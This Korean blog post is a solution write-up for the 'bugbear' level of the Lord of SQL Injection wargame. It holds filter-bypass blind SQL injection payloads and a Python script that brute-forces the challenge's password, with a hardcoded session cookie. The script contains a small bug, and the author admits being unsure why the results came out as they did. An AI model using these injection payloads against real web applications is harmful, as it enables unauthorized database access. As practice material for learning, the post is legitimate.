ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> bugbear
    Wargame/Lord of SQL Injection 2021. 11. 15. 00:17

    bugbear

    전달받은 no의 값은 prob, _, ., (), substr, ascii, =, or, and, 공백, like, 0x를 필터링한다.

    전달받은 pw의 값은 싱글 쿼터(')를 필터링한다.

     

    함수 및 연산자 대체
    substr mid 또는 right 또는 left
    or ||
    and && 또는 %26%26
    공백 %09, %0a, %0b, %0c, %0d, %a0, /**/ 
    like 또는 = in

     

    쿼리의 조건을 참으로 만들기 위해

    ?pw=&no=1%09||%092%09>%091을 입력하면

    Hello 문이 출력된다.

     

    쿼리의 조건을 거짓으로 전달하면

    ?pw=&no=1%09||%092%09<%091

    아무것도 출력되지 않는다.

     

    오류 메시지가 출력되지 않고 SQL 쿼리의 참과 거짓을 구분할 수 있기 때문에 Blind SQL Injection 공격을 수행할 수 있다.

     

    먼저 pw의 길이를 찾아야 한다.

    ?pw=&no=1%09||%09length(pw)%09<%099를 입력하면

    pw의 길이가 9보다 작은 것은 참이고,

    ?pw=&no=1%09||%09length(pw)%09<%098을 입력하면

    pw의 길이가 8보다 작은 것은 거짓이다.

    이를 통해 pw의 길이는 8인 것을 확인할 수 있다.

     

    이제 한 글자씩 찾아야 한다.

    ?pw=&no=1%09||%09mid(pw,1,1)%09in("5")를 입력하면

    첫 글자가 '5'인 것을 확인할 수 있다.

     

    나머지 글자를 파이썬 코드를 통해 찾아보면

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
    want_str = "<h2>Hello admin</h2>"
    want_str2 = "<h2>Hello guest</h2>"
    pw = ''
    pw2 = ''
    
    filter = ['_', '.', "'", '=']
    
    for i in range(1, 9):
        for j in range(33, 127):
            j = chr(j)
            if j in filter:
                continue
            url = baseurl + '?pw=&no=1%09||%09mid(pw,{},1)%09in("{}")'.format(i,j)
            cookies = {'PHPSESSID' : 'njfbau2krar6au5r4pfp256ipn'}
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                pw += j
                break
        if len(pw) < i:
            pw += '_'
    
    for i in range(1, 9):
        for j in range(33, 127):
            j = chr(j)
            if j in filter:
                continue
            url = baseurl + '?pw=&no=1%09||%09mid(pw,{},1)%09in("{}")'.format(i,j)
            cookies = {'PHPSESSID' : 'njfbau2krar6au5r4pfp256ipn'}
            res = requests.get(url=url, cookies=cookies)
        
            if want_str2 in res.text:
                pw2 += j
                break
        if len(pw) < i:
            pw += '_'
                
    print("pw : ", pw)    # 52_c39_1
    print("pw2 : ", pw2)  # fjdga094

    앞에서 풀었던 Blind SQL Injection문제처럼 

    "Hello admin"을 출력하면 그때의 문자를 pw에 붙였다.

    하지만 뭐가 문제인지 잘 모르겠지만, pw의 3번째와 7번째를 구하는 페이지 전체에서 "Hello admin"을 출력하지 않았다. "Hello guest"로 바꿔서 실행시키니 8자리가 출력되었지만, 정답은 아니었다.

    3번째와 7번째가 "Hello admin"을 출력하지 않았기에 "Hello guest"를 출력하는 3번째와 7번째의 문자를 가져와

    '52dc3991'을 입력하니 문제가 풀렸다.

    다르게 푸는 방법도 공부해야 할 필요성을 느끼게 하는 문제였다.

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    <Lord of SQL Injection> assassin  (0) 2021.11.16
    <Lord of SQL Injection> giant  (0) 2021.11.15
    <Lord of SQL Injection> skeleton  (0) 2021.11.14
    <Lord of SQL Injection> darkknight  (0) 2021.11.13
    <Lord of SQL Injection> golem  (0) 2021.11.13
Designed by Tistory.